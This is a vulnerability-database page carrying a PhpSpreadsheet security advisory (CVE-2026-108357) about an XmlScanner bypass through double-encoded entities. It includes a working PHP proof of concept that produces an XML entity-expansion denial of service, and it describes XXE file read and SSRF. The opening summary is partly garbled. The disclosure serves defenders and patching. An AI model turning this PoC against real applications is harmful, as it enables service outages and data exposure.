CVE-2026-108357: PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service
Summary The SpreadsheetML XML reader (Reader\Xml) scans file content twice through XmlScanner::scan(), and each scan runs an unentity() callback that calls htmlentitydecode() after the pattern check. By double-encoding the processing instruction) and processes them with PhpSpreadsheet's Xml reader is vulnerable.
Published Oct 27, 2026
Affected packages
phpoffice/phpspreadsheet
- Ecosystem
- Composer (PHP)
- Affected
- >= 4.0.0, <= 5.9.0
- Fixed in
- 5.10.0
- Check
composer show phpoffice/phpspreadsheet
phpoffice/phpspreadsheet
- Ecosystem
- Composer (PHP)
- Affected
- >= 3.3.0, <= 3.10.7
- Fixed in
- 3.10.8
- Check
composer show phpoffice/phpspreadsheet
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The SpreadsheetML XML reader (Reader\Xml) scans file content twice through XmlScanner::scan(), and each scan runs an unentity() callback that calls html_entity_decode() after the pattern check. By double-encoding the < character as &#60;, the first scan decodes & to & (forming <), and the second scan decodes < to < (forming <!DOCTYPE). Neither scan's pattern check detects the <!DOCTYPE string because the callback runs after each check. This enables Denial of Service via entity expansion on all PHP versions, and XXE/SSRF on PHP < 8.0 or when LIBXML_NOENT is used.
Details
The vulnerability involves an interaction between three code locations:
1. `XmlScanner::scan()` (XmlScanner.php, lines 87–108) — checks the pattern *before* the callback:
public function scan($xml): string
{
$pattern = '/\0*<\0*!\0*D\0*O\0*...\0*/';
if (preg_match($pattern, $xml)) { // CHECK 1 (raw)
throw new Exception('Detected use of ENTITY...');
}
$xml = $this->toUtf8($xml);
if (preg_match($pattern, $xml)) { // CHECK 2 (UTF-8)
throw new Exception('Detected use of ENTITY...');
}
if ($this->callback !== null) {
$xml = call_user_func($this->callback, $xml); // DECODE (after checks!)
}
return $xml; // <!DOCTYPE now present, never checked
}2. `Xml::canRead()` (Xml.php, lines 79–117) — scans and stores the result:
$data = file_get_contents($filename);
$data = $this->getSecurityScannerOrThrow()->scan($data); // 1st scan
// ...
$this->fileContents = $data; // stores partially-decoded content3. `Xml::trySimpleXMLLoadStringPrivate()` (Xml.php, lines 120–150) — re-scans the stored content:
$data = $this->fileContents; // already partially decoded
$xml = simplexml_load_string(
$this->getSecurityScannerOrThrow()->scan($data) // 2nd scan finishes decoding
);The double-scan decode chain:
Raw file: &#60;!DOCTYPE
|
1st scan(): pattern check → no match (no "<" character)
callback → html_entity_decode(&) = &
|
Stored: <!DOCTYPE
|
2nd scan(): pattern check → no match (no "<" character)
callback → html_entity_decode(<) = <
|
Parser sees: <!DOCTYPE ← never detected by either scanThe unentity() callback (Xml.php, lines 54–61) protects five named entities (& < > " ') via Unicode placeholders, but numeric entities (& < & <) are not protected and are decoded by html_entity_decode().
PoC
Save the following as poc_toctou.php in a directory with PhpSpreadsheet installed via Composer:
<?php
require 'vendor/autoload.php';
// Double-encoded: &#60; survives two scan() passes
// 1st scan callback: & → & (forms <)
// 2nd scan callback: < → < (forms <!DOCTYPE)
$entity_value = str_repeat('A', 100000);
$refs = str_repeat('&big;', 200);
$xml = '<?xml version="1.0"?>' . "\n"
. '<?mso-application progid="Excel.Sheet"?>' . "\n"
. '&#60;!DOCTYPE Workbook [' . "\n"
. ' &#60;!ENTITY big "' . $entity_value . '">' . "\n"
. ']>' . "\n"
. '<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"' . "\n"
. ' xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">' . "\n"
. ' <Worksheet ss:Name="Sheet1">' . "\n"
. ' <Table><Row><Cell><Data ss:Type="String">' . $refs . '</Data></Cell></Row></Table>' . "\n"
. ' </Worksheet>' . "\n"
. '</Workbook>';
file_put_contents('poc.xml', $xml);
echo "File size: " . filesize('poc.xml') . " bytes\n";
$mem_before = memory_get_usage(true);
$reader = new \PhpOffice\PhpSpreadsheet\Reader\Xml();
echo "canRead: " . ($reader->canRead('poc.xml') ? 'true' : 'false') . "\n";
$spreadsheet = $reader->load('poc.xml');
$peak = memory_get_peak_usage(true);
echo "Peak memory: " . round($peak / 1024 / 1024, 1) . " MB\n";
$val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue();
echo "Cell A1 length: " . strlen($val) . " bytes\n";
echo "Entity expansion: " . (strlen($val) > 10000 ? "CONFIRMED" : "not detected") . "\n";Run: php -d memory_limit=512M poc_toctou.php
Expected result: The file loads successfully, bypassing both scan passes. Internal entities expand, consuming ~45 MB of memory. Cell A1 contains 32,767 bytes (PhpSpreadsheet's max cell length, confirming entity expansion).
Hex variant: Replace &#60; with &#x3C; — both are decoded by html_entity_decode().
Tested on: PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.
Impact
| Attack | PHP < 8.0 / libxml2 < 2.9 | PHP 8.x / libxml2 2.9+ | | Denial of Service (quadratic blowup) | **Exploitable** | **Exploitable** | | Local file read via SYSTEM entity | **Exploitable** | Blocked by default | | SSRF via SYSTEM entity | **Exploitable** | Blocked by default | | File read when LIBXML_NOENT is used | **Exploitable** | **Exploitable** |
Any application that accepts user-uploaded SpreadsheetML XML files (recognized by the <?mso-application progid="Excel.Sheet"?> processing instruction) and processes them with PhpSpreadsheet's Xml reader is vulnerable.
Credited to e1abrador.
References
- https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-rxj4-h86g-25gc
- https://nvd.nist.gov/vuln/detail/CVE-2026-108357
- https://github.com/PHPOffice/PhpSpreadsheet/commit/89f455c133e1a7e2d4abfadc43ce29eb7450d781
- https://github.com/PHPOffice/PhpSpreadsheet/commit/980b5c294493856f1a25754f1e8a1d2185b93738
- https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.8
- https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.10.0
- https://github.com/advisories/GHSA-rxj4-h86g-25gc
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Composer (PHP) vulnerabilities
All Composer (PHP) entriesCVE-2026-108358
PhpSpreadsheet: XmlScanner Bypass via ISO-2022 Escape Sequences Allows XXE and Denial of Service
high8.8Oct 27, 2026CVE-2026-108359
PhpSpreadsheet ODS Reader: Unbounded number-rows-repeated → CPU & Memory Exhaustion (DoS)
high8.7Oct 27, 2026CVE-2026-108360
PhpSpreadsheet: SSRF whitelist bypass via unre-validated HTTP redirect in Drawing::setPath external image loading
medium6.4Oct 27, 2026CVE-2026-59931
PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist
high7.7Jul 23, 2026CVE-2026-59932
PHPSpreadsheet: Gnumeric reader unbounded gzip expansion causes memory exhaustion
high7.5Jul 23, 2026CVE-2026-59933
PHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion
high7.5Jul 23, 2026
